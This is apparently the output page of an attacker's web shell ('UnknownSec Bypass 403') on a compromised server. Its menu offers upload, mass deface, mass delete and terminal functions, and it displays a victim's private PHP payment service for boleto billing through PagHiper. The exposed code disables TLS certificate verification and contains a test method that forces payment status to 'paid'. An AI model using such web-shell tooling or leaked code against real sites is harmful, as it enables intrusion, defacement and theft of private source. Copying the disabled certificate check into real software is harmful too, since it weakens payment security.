UnknownSec Bypass
403
:
/
mnt
/
lmsestudio-instance-vol002
/
lms_cac963d5ee16
/
app
/
Services
/
Hires
/ [
drwxr-xr-x
]
Menu
Upload
Mass depes
Mass delete
Terminal
Info server
About
name :
BoletoService.php
<?php namespace EstudioLMS\Services\Hires; use App; use Carbon\Carbon; use EstudioLMS\Cart\Cart; use EstudioLMS\Events\BoletoDone; use EstudioLMS\Helpers\Helpers; use EstudioLMS\Http\Controllers\Cart\CheckoutController; use EstudioLMS\Models\Financial\PostbackPaghiper; use EstudioLMS\Repositories\Courses\Course\CourseRepository; use EstudioLMS\Repositories\Environment\HiredCourseRepository; use EstudioLMS\Repositories\Financial\BillingRepository; use EstudioLMS\Repositories\Financial\HiringInterface; use EstudioLMS\Services\Admin\ConfigurationServices; use Illuminate\Contracts\Auth\Guard; use Symfony\Component\HttpFoundation\Session\SessionInterface; use Illuminate\Support\Facades\Session; /** * Class BoletoService * @package EstudioLMS\Services\Hires */ class BoletoService { /** * @var HiredCourseRepository */ private $hiredCourse; /** * @var SessionInterface */ private $session; /** * @var Guard */ private $auth; /** * @var CourseRepository */ private $course; /** * @var Cart */ private $cart; /** * @var ConfigurationServices */ private $configurationServices; /** * @var BillingRepository */ private $billingRepository; /** * @var HiringInterface */ private $hiring; /** * BoletoService constructor. * @param HiredCourseRepository $hiredCourse * @param SessionInterface $session * @param Guard $auth * @param CourseRepository $course * @param Cart $cart * @param ConfigurationServices $configurationServices * @param BillingRepository $billingRepository * @param HiringInterface $hiring */ public function __construct( HiredCourseRepository $hiredCourse, SessionInterface $session, Guard $auth, CourseRepository $course, Cart $cart, ConfigurationServices $configurationServices, BillingRepository $billingRepository, HiringInterface $hiring ) { $this->hiredCourse = $hiredCourse; $this->session = $session; $this->auth = $auth; $this->course = $course; $this->cart = $cart; $this->configurationServices = $configurationServices; $this->billingRepository = $billingRepository; $this->hiring = $hiring; } /** * @return \Illuminate\Contracts\View\Factory|\Illuminate\Http\RedirectResponse|\Illuminate\View\View */ public function payWithBoleto() { $user = $this->auth->user(); if (empty($user->address->street) || empty($user->cpf)) { return redirect()->route('checkout.shipping'); } $cart = $this->session->get('cart'); $price = ($cart->getGrossAmount() - $cart->getDiscountAmount()) + $cart->getShippingAmount() + $cart->getInstallmentInterest(); if ($price < 3) { $error = 'Valor não permitido. O gateway não aceita transações menores que R$ 1,00'; $success = 'false'; return redirect()->route('checkout.result', $success) ->with('error', $error) ->with('boletoUrl', null); } $course = $this->course->with(['plans', 'plans.duration', 'material'])->find($cart->get('course_id')); $planId = (int)$cart->get('plan_id'); $plan = $course['plans']->where('id', $planId)->first(); $startDate = date('Y-m-d'); $addDate = '+' . $plan['duration']['duration'] . ' months'; $endDate = date('Y-m-d', strtotime($addDate, strtotime($startDate))); $fee = 0.00; $header = [ 'user_id' => $this->auth->user()['id'], 'gateway_id' => 'Boleto', 'payment_code' => strtoupper(md5(uniqid(rand(), true))), 'gross_amount' => (($cart->getGrossAmount() + $cart->getShippingAmount()) - $cart->getDiscountAmount()), 'discount_amount' => $cart->getDiscountAmount(), 'fee_amount' => $fee, 'shipping_amount' => $cart->getShippingAmount(), 'extra_amount' => $cart->getExtraAmount(), 'net_amount' => $cart->getGrossAmount() - ($cart->getDiscountAmount() + $fee), 'shipping_type' => $cart->getShippingCode(), 'status' => \GatHelper::translateGatewayStatus( 'boleto', 1 ), 'course_id' => $cart->get('course_id'), 'plan_id' => $planId, 'start' => $startDate, 'end' => $endDate, 'coupon_title' => $cart->get('coupon_name'), 'coupon_code' => $cart->get('coupon_code'), 'coupon_discount' => $cart->get('coupon_discount'), ]; $createHiring = $this->hiring->create($header); /* Cursos contratados do Aluno */ $hiredCourse = [ 'user_id' => $this->auth->user()['id'], 'course_id' => $cart->get('course_id'), 'plan_id' => $planId, 'hirings_id' => $createHiring['id'], 'status' => $createHiring['status'], 'start' => $startDate, 'end' => $endDate, 'is_free' => false ]; $renew = $this->hiredCourse->findWhere([ ['user_id', '=', $this->auth->user()['id']], ['course_id', '=', $cart->get('course_id')] ])->first(); if ($renew) { $this->hiredCourse->update($hiredCourse, $renew['id']); } else { $this->hiredCourse->create($hiredCourse); } $headerId = $createHiring['id']; $payCode = $createHiring['payment_code']; $this->billing($headerId); $success = true; $installment = 1; $hiredCourse = $this->hiring ->with(['user', 'plan.duration', 'course']) ->find($headerId); /* * Comentado por Moisés. Evento dando algum erro - Precisa ser testado e verificado * Atualizao por Márlon, mantendo os padrões das PSR's para escrita e comentários de códigos */ //\Event::fire(new BoletoDone($hiredCourse)); return redirect()->action('Cart\CheckoutController@result_boleto', compact('payCode', 'installment', 'success')); } /* * Irá registrar todas os boletos referentes a contratação do aluno. */ /** * @param $hireHeaderId */ public function billing($hireHeaderId) { // Configurações do Boleto $boletoConf = $this->configurationServices->boletoConfiguration(); // Registro financeiro da contratação $hired = $this->hiring->find($hireHeaderId); // Número de Parcelas $installments = $hired->course->gateways->find(4)->pivot->installments; // Valor total da contratação $installment_value = $hired->gross_amount / $installments; // Nosso número atual $ourNumber = $this->billingRepository->lastOurNumber()['ourNumber']; $dueDate = Carbon::now()->addDays(5); //$fee = $boletoConf->bank_fee; $fee = 0.00; for ($i = 1; $i <= $installments; $i++) { $ourNumber += 1; $billing = [ 'hirings_id' => $hireHeaderId, 'due_date' => $dueDate, 'installment' => $i, 'net_amount' => $installment_value, 'fee_amount' => $fee, 'our_number' => $ourNumber, 'our_number_boleto' => null, 'paid_in' => null, 'billing_status_id' => 1, ]; $this->billingRepository->create($billing); // Próximo vencimento $dueDate = $dueDate->addMonth(1); } } /** * @param $payCode * @param int $installment * @return bool|PostbackPaghiper */ public function makeBilletPaghiper($payCode, $installment = 1) { // Configurações Administrativas $config = $this->configurationServices->configuration(); // Configurações do Boleto $boletoConf = $this->configurationServices->boletoPaghiperConfiguration(); $hired = $this->hiring->findByField('payment_code', $payCode)->first(); $billing = $this->billingRepository->findWhere( [ ['hirings_id', '=', $hired->id], ['installment', '=', $installment] ] )->first(); $https = Session::get('planLimite.ssl_activated') == 1 ? 'https://' : 'http://'; $onlineUrl = $https . Session::get('planLimite.url') . '.' . Session::get('planLimite.domain'); $data = array( 'apiKey' => $boletoConf->apiKey, 'order_id' => $billing->our_number, // código interno do lojista para identificar a transacao. 'payer_email' => $hired->user->email, 'payer_name' => $hired->user->name, // nome completo ou razao social 'payer_cpf_cnpj' => $hired->user->cpf, // cpf ou cnpj 'payer_phone' => $hired->user->address->phone, // fixou ou móvel 'payer_street' => $hired->user->address->street, 'payer_number' => $hired->user->address->number, 'payer_complement' => $hired->user->address->complement, 'payer_district' => $hired->user->address->neighborhood, 'payer_city' => $hired->user->address->city, 'payer_state' => $hired->user->address->state, // apenas sigla do estado 'payer_zip_code' => $hired->user->address->zip_code, //'notification_url' => 'https://7ac137e293f9.ngrok.io/gateway/paghiper/callback', //'notification_url' => \URL::to('/') . '/gateway/paghiper/callback', 'notification_url' => $onlineUrl . '/gateway/paghiper/callback', // Campos a serem incluidos nos parâmetros 'type_bank_slip' => 'boletoA4', 'days_due_date' => $boletoConf->days_due_date, //Ativar ou Desativa Frase fixa 'fixed_description' => true, //Comandos para Juros e Multa 'late_payment_fine' => $boletoConf->late_payment_fine, 'per_day_interest' => $boletoConf->per_day_interest, //Maximo de dias que o boleto pode ser pago após vencimento 'open_after_day_due' => $boletoConf->open_after_day_due, 'items' => array( array('description' => $hired->course->name. ' - Parcela: '.$billing->installment, 'quantity' => '1', 'item_id' => $hired->course->id, 'price_cents' => $billing->net_amount * 100 ), ), //Definido nosso ID para recebimento de comissões a cada boleto liquidado 'partners_id' => config('paghiper.PAGHIPER_PARTNER_ID'), ); $data_post = json_encode($data); $url = "http://api.paghiper.com/transaction/create/"; $mediaType = "application/json"; // formato da requisição $charSet = "UTF-8"; $headers = array(); $headers[] = "Accept: " . $mediaType; $headers[] = "Accept-Charset: " . $charSet; $headers[] = "Accept-Encoding: " . $mediaType; $headers[] = "Content-Type: " . $mediaType . ";charset=" . $charSet; $ch = curl_init(); curl_setopt($ch, CURLOPT_URL, $url); curl_setopt($ch, CURLOPT_POST, 1); curl_setopt($ch, CURLOPT_POSTFIELDS, $data_post); curl_setopt($ch, CURLOPT_HTTPHEADER, $headers); curl_setopt($ch, CURLOPT_RETURNTRANSFER, true); curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false); $result = curl_exec($ch); $json = json_decode($result, true); // captura o http code $httpCode = curl_getinfo($ch, CURLINFO_HTTP_CODE); if($httpCode == 201) { $create = PostbackPaghiper::create([ 'billings_id' => $billing->id, 'result' => $json['create_request']['result'], 'response_message' => $json['create_request']['response_message'], 'transaction_id' => $json['create_request']['transaction_id'], 'created_date' => $json['create_request']['created_date'], 'value_cents' => $json['create_request']['value_cents'], 'status' => $json['create_request']['status'], 'order_id' => $json['create_request']['order_id'], 'due_date' => $json['create_request']['due_date'], 'digitable_line' => $json['create_request']['bank_slip']['digitable_line'], 'url_slip' => $json['create_request']['bank_slip']['url_slip'], 'url_slip_pdf' => $json['create_request']['bank_slip']['url_slip_pdf'], 'http_code' => $json['create_request']['http_code'], ]); return $create; } else { return false; } } /** * @param $request * @return PostbackPaghiper|mixed */ public function paghiperPostback($request) { $post = $request; // Configurações do Boleto $boletoConf = $this->configurationServices->boletoPaghiperConfiguration(); $data = array( 'token' => $boletoConf->token, 'apiKey' => $post->apiKey, 'transaction_id' => $post->transaction_id, //Vem do POST 'notification_id' => $post->notification_id, // Vem do POST ); $data_post = json_encode($data); $url = "https://api.paghiper.com/transaction/notification/"; $mediaType = "application/json"; // formato da requisição $charSet = "UTF-8"; $headers = array(); $headers[] = "Accept: " . $mediaType; $headers[] = "Accept-Charset: " . $charSet; $headers[] = "Accept-Encoding: " . $mediaType; $headers[] = "Content-Type: " . $mediaType . ";charset=" . $charSet; $ch = curl_init(); curl_setopt($ch, CURLOPT_URL, $url); curl_setopt($ch, CURLOPT_POST, 1); curl_setopt($ch, CURLOPT_POSTFIELDS, $data_post); curl_setopt($ch, CURLOPT_HTTPHEADER, $headers); curl_setopt($ch, CURLOPT_RETURNTRANSFER, true); curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false); $result = curl_exec($ch); $json = json_decode($result, true); $httpCode = curl_getinfo($ch, CURLINFO_HTTP_CODE); if($httpCode == 201) { PostbackPaghiper::where('transaction_id',$json['status_request']['transaction_id']) ->update([ 'status' => $json['status_request']['status'], ]); $paghiper = PostbackPaghiper::where('transaction_id', $json['status_request']['transaction_id'])->first(); $billing = $this->billingRepository->find($paghiper->order_id); if($json['status_request']['status'] == 'paid'){ $this->billingRepository->find($json['status_request']['order_id'])->update( [ 'billing_status_id'=> 4, ] ); $hiring = $this->hiring->update(['status' => 3], $billing->hirings_id); $this->hiredCourse->updateStatusByHeaderId($hiring->id, $hiring->course_id, 3); } //Rotina de atualização de dados na invoice Status = Completed if($json['status_request']['status'] == 'completed'){ $this->billingRepository->find($json['status_request']['order_id'])->update( [ 'billing_status_id'=> 4, ] ); $hiring = $this->hiring->update(['status' => 4], $billing->hirings_id); $this->hiredCourse->updateStatusByHeaderId($hiring->id, $hiring->course_id, 4); } return $paghiper; } } public function paghiperPostbackTst() { //Teste forçando um json $result = ' { "status_request": { "result":"success", "response_message":"notification_id encontrada", "transaction_id":"X6EYW6R148H9XJGR", "order_id":"2", "status":"paid", "http_code":"201" } } '; $json = json_decode($result, true); $httpCode = 201; if($httpCode == 201) { PostbackPaghiper::where('transaction_id',$json['status_request']['transaction_id']) ->update([ 'status' => $json['status_request']['status'], ]); $paghiper = PostbackPaghiper::where('transaction_id', $json['status_request']['transaction_id']) ->first(); $billing = $this->billingRepository->find($paghiper->order_id); if($json['status_request']['status'] == 'paid'){ $this->billingRepository->find($json['status_request']['order_id'])->update( [ 'billing_status_id'=> 4, ] ); //dd($billing); $hiring = $this->hiring->update(['status' => 3], $billing->hirings_id); //dd($hiring); $this->hiredCourse->updateStatusByHeaderId($hiring->id, $hiring->course_id, 3); } //Rotina de atualização de dados na invoice Status = Completed if($json['status_request']['status'] == 'completed'){ $billing = $this->billingRepository->find($json['status_request']['order_id'])->update( [ 'billing_status_id'=> 4, ] ); $hiring = $this->hiring->update(['status' => '4'], $billing->hirings_id); $this->hiredCourse->updateStatusByHeaderId($hiring->id, $hiring->course_id, '4'); } return $paghiper; } } }
Copyright © 2026 - UnknownSec